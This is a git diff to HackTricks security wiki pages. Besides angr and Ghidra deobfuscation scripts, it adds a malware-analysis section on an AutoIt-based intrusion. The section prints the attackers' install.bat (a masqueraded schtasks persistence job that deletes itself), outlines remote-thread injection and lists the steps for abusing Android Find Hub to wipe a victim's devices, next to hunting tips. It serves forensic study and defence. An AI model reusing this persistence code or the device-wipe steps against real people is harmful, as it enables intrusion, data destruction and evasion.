diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index 8572b25be44..f76ed9e1d67 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -210,99 +210,115 @@ Ghidra triage (JNI_OnLoad pattern) angr setup (execute the decoder offline) - Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small. - ```python - import angr, json - - project = angr.Project( - '/path/to/libtarget.so', - load_options={'main_opts': {'base_addr': 0x00100000}}, - auto_load_libs=False, - ) - - ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra - - def decode_string(enc_addr, length): - # fresh blank state per evaluation - st = project.factory.blank_state() - outbuf = st.heap.allocate(length) - call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) - ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer - rs = call.result_state - raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) - return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore') - - # Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B - print(decode_string(0x00100933, 5)) - ``` +
+angr setup and offline decoder execution + +```python +import angr, json + +project = angr.Project( + '/path/to/libtarget.so', + load_options={'main_opts': {'base_addr': 0x00100000}}, + auto_load_libs=False, +) + +ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra + +def decode_string(enc_addr, length): + # fresh blank state per evaluation + st = project.factory.blank_state() + outbuf = st.heap.allocate(length) + call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) + ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer + rs = call.result_state + raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) + return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore') + +# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B +print(decode_string(0x00100933, 5)) +``` + +
- At scale, build a static map of call sites to the decoder’s arguments (encoded_ptr, size). Wrappers may hide arguments, so you may create this mapping manually from Ghidra xrefs if API recovery is noisy. - ```python - # call_site -> (encoded_addr, size) - call_site_args_map = { - 0x00100f8c: (0x00100b81, 0x41), - 0x00100fa8: (0x00100bca, 0x04), - 0x00100fcc: (0x001007a0, 0x41), - 0x00100fe8: (0x00100933, 0x05), - 0x0010100c: (0x00100c62, 0x41), - 0x00101028: (0x00100c15, 0x16), - 0x00101050: (0x00100a49, 0x101), - 0x00100cf4: (0x00100821, 0x11), - 0x00101170: (0x00100940, 0x101), - 0x001011cc: (0x0010084e, 0x13), - 0x00101334: (0x001007e9, 0x0f), - 0x00101478: (0x0010087d, 0x15), - 0x001014f8: (0x00100800, 0x19), - 0x001015e8: (0x001008e6, 0x27), - 0x0010160c: (0x00100c33, 0x13), - } - - decoded_map = { hex(cs): decode_string(enc, sz) - for cs, (enc, sz) in call_site_args_map.items() } - - print(json.dumps(decoded_map, indent=2)) - with open('decoded_strings.json', 'w') as f: - json.dump(decoded_map, f, indent=2) - ``` +
+Batch decode multiple call sites with angr + +```python +# call_site -> (encoded_addr, size) +call_site_args_map = { + 0x00100f8c: (0x00100b81, 0x41), + 0x00100fa8: (0x00100bca, 0x04), + 0x00100fcc: (0x001007a0, 0x41), + 0x00100fe8: (0x00100933, 0x05), + 0x0010100c: (0x00100c62, 0x41), + 0x00101028: (0x00100c15, 0x16), + 0x00101050: (0x00100a49, 0x101), + 0x00100cf4: (0x00100821, 0x11), + 0x00101170: (0x00100940, 0x101), + 0x001011cc: (0x0010084e, 0x13), + 0x00101334: (0x001007e9, 0x0f), + 0x00101478: (0x0010087d, 0x15), + 0x001014f8: (0x00100800, 0x19), + 0x001015e8: (0x001008e6, 0x27), + 0x0010160c: (0x00100c33, 0x13), +} + +decoded_map = { hex(cs): decode_string(enc, sz) + for cs, (enc, sz) in call_site_args_map.items() } + +import json +print(json.dumps(decoded_map, indent=2)) +with open('decoded_strings.json', 'w') as f: + json.dump(decoded_map, f, indent=2) +``` + +
Annotate call sites in Ghidra Option A: Jython-only comment writer (use a pre-computed JSON) - Since angr requires CPython3, keep deobfuscation and annotation separated. First run the angr script above to produce decoded_strings.json. Then run this Jython GhidraScript to write PRE_COMMENTs at each call site (and include the caller function name for context): - ```python - #@category Android/Deobfuscation - # Jython in Ghidra 10/11 - import json - from ghidra.program.model.listing import CodeUnit - - # Ask for the JSON produced by the angr script - f = askFile('Select decoded_strings.json', 'Load') - mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings - - fm = currentProgram.getFunctionManager() - rm = currentProgram.getReferenceManager() - - # Replace with your decoder address to locate call-xrefs (optional) - ENCODING_FUNC_ADDR = 0x00100e10 - enc_addr = toAddr(ENCODING_FUNC_ADDR) - - callsite_to_fn = {} - for ref in rm.getReferencesTo(enc_addr): - if ref.getReferenceType().isCall(): - from_addr = ref.getFromAddress() - fn = fm.getFunctionContaining(from_addr) - if fn: - callsite_to_fn[from_addr.getOffset()] = fn.getName() - - # Write comments from JSON - for k_hex, s in mapping.items(): - cs = int(k_hex, 16) - site = toAddr(cs) - caller = callsite_to_fn.get(cs, None) - text = s if caller is None else '%s @ %s' % (s, caller) - currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) - print('[+] Annotated %d call sites' % len(mapping)) - ``` +
+Ghidra Jython script to annotate decoded JNI strings + +```python +#@category Android/Deobfuscation +# Jython in Ghidra 10/11 +import json +from ghidra.program.model.listing import CodeUnit + +# Ask for the JSON produced by the angr script +f = askFile('Select decoded_strings.json', 'Load') +mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings + +fm = currentProgram.getFunctionManager() +rm = currentProgram.getReferenceManager() + +# Replace with your decoder address to locate call-xrefs (optional) +ENCODING_FUNC_ADDR = 0x00100e10 +enc_addr = toAddr(ENCODING_FUNC_ADDR) + +callsite_to_fn = {} +for ref in rm.getReferencesTo(enc_addr): + if ref.getReferenceType().isCall(): + from_addr = ref.getFromAddress() + fn = fm.getFunctionContaining(from_addr) + if fn: + callsite_to_fn[from_addr.getOffset()] = fn.getName() + +# Write comments from JSON +for k_hex, s in mapping.items(): + cs = int(k_hex, 16) + site = toAddr(cs) + caller = callsite_to_fn.get(cs, None) + text = s if caller is None else '%s @ %s' % (s, caller) + currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) +print('[+] Annotated %d call sites' % len(mapping)) +``` + +
Option B: Single CPython script via pyhidra/ghidra_bridge - Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments. @@ -410,6 +426,100 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+ --- +## AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection + +This intrusion pattern chains a signed MSI, AutoIt loaders compiled to .a3x, and a Task Scheduler job masquerading as a benign app. + +### MSI → custom actions → AutoIt orchestrator + +Process tree and commands executed by the MSI custom actions: + +- MsiExec.exe → cmd.exe to run install.bat +- WScript.exe to show a decoy error dialog + +```cmd +%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat +%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs +``` + +install.bat (drops loader, sets persistence, self-cleans): + +```bat +@echo off +set dr=Music + +copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe +copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3 + +cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^ + & hwpviewer /delete /tn "IoKlTr" /f ^ + & hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3" + +del /f /q "%~dp0AutoIt3.exe" +del /f /q "%~dp0IoKlTr.au3" +del /f /q "%~f0" +``` + +error.vbs (user decoy): + +```vb +MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _ + "설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _ + vbCritical, "언어팩 오류" +``` + +Key artifacts and masquerade: +- Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music +- Copies schtasks.exe to hwpviewer.exe (masquerades as Hangul Word Processor viewer) +- Creates a scheduled task "IoKlTr" that runs every 1 minute +- Startup LNK seen as Smart_Web.lnk; mutex: `Global\AB732E15-D8DD-87A1-7464-CE6698819E701` +- Stages modules under %APPDATA%\Google\Browser\ subfolders containing `adb` or `adv` and starts them via autoit.vbs/install.bat helpers + +Forensic triage tips: +- schtasks enumeration: `schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"` +- Look for renamed copies of schtasks.exe co-located with Task XML: `dir /a "C:\Users\Public\Music\hwpviewer.exe"` +- Common paths: `C:\Users\Public\Music\AutoIt3.exe`, `...\IoKlTr.au3`, Startup `Smart_Web.lnk`, `%APPDATA%\Google\Browser\(adb|adv)*` +- Correlate process creation: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe) + +### AutoIt loaders and .a3x payload decryption → injection + +- AutoIt modules are compiled with `#AutoIt3Wrapper_Outfile_type=a3x` and decrypt embedded payloads before injecting into benign processes. +- Observed families: QuasarRAT (injected into hncfinder.exe) and RftRAT/RFTServer (injected into cleanmgr.exe), as well as RemcosRAT modules (`Remcos\RunBinary.a3x`). +- Decryption pattern: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module. + +Generic decryption skeleton (exact HMAC input/algorithm is family-specific): + +```python +import hmac, hashlib +from Crypto.Cipher import AES + +def derive_aes_key(secret: bytes, data: bytes) -> bytes: + # Example: HMAC-SHA256 → first 16/32 bytes as AES key + return hmac.new(secret, data, hashlib.sha256).digest() + +def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes: + return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct) +``` + +Common injection flow (CreateRemoteThread-style): +- CreateProcess (suspended) of the target host (e.g., cleanmgr.exe) +- VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode +- CreateRemoteThread or QueueUserAPC to execute payload + +Hunting ideas +- AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities +- Files with `.a3x` extensions or AutoIt script runners under public/user-writable paths +- Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers + +### Account-takeover abuse of Android Find My Device (Find Hub) + +During the Windows intrusion, operators used stolen Google credentials to repeatedly wipe the victim’s Android devices, suppressing notifications while they expanded access via the victim’s logged-in desktop messenger. + +Operator steps (from a logged-in browser session): +- Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find) +- Select device → re-enter Google password → issue "Erase device" (factory reset); repeat to delay recovery +- Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications + ## AdaptixC2: Configuration Extraction and TTPs See the dedicated page: @@ -430,5 +540,9 @@ adaptixc2-config-extraction-and-ttps.md - Tracing JNI Functions – [valsamaras.medium.com](https://valsamaras.medium.com/tracing-jni-functions-75b04bee7c58) - Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – [laripping.com](https://laripping.com/blog-posts/2021/12/20/nativeenrich.html) - [Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks](https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/) +- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – [genians.co.kr](https://www.genians.co.kr/en/blog/threat_intelligence/android) +- Android Find My Device (Find Hub) – [google.com/android/find](https://www.google.com/android/find) +- RftRAT/RFTServer technical analysis – [asec.ahnlab.com](https://asec.ahnlab.com/en/59590/) +- HMAC background – [wikipedia.org/wiki/HMAC](https://en.wikipedia.org/wiki/HMAC) {{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/pentesting-web/xs-search/css-injection/less-code-injection.md b/src/pentesting-web/xs-search/css-injection/less-code-injection.md index b9d599deb30..6d338df2b68 100644 --- a/src/pentesting-web/xs-search/css-injection/less-code-injection.md +++ b/src/pentesting-web/xs-search/css-injection/less-code-injection.md @@ -1,4 +1,6 @@ -## LESS Code Injection leading to SSRF & Local File Read +# LESS Code Injection leading to SSRF & Local File Read + +{{#include ../../../banners/hacktricks-training.md}} LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used. @@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ * [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) * [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) -* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) \ No newline at end of file +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) +{{#include ../../../banners/hacktricks-training.md}}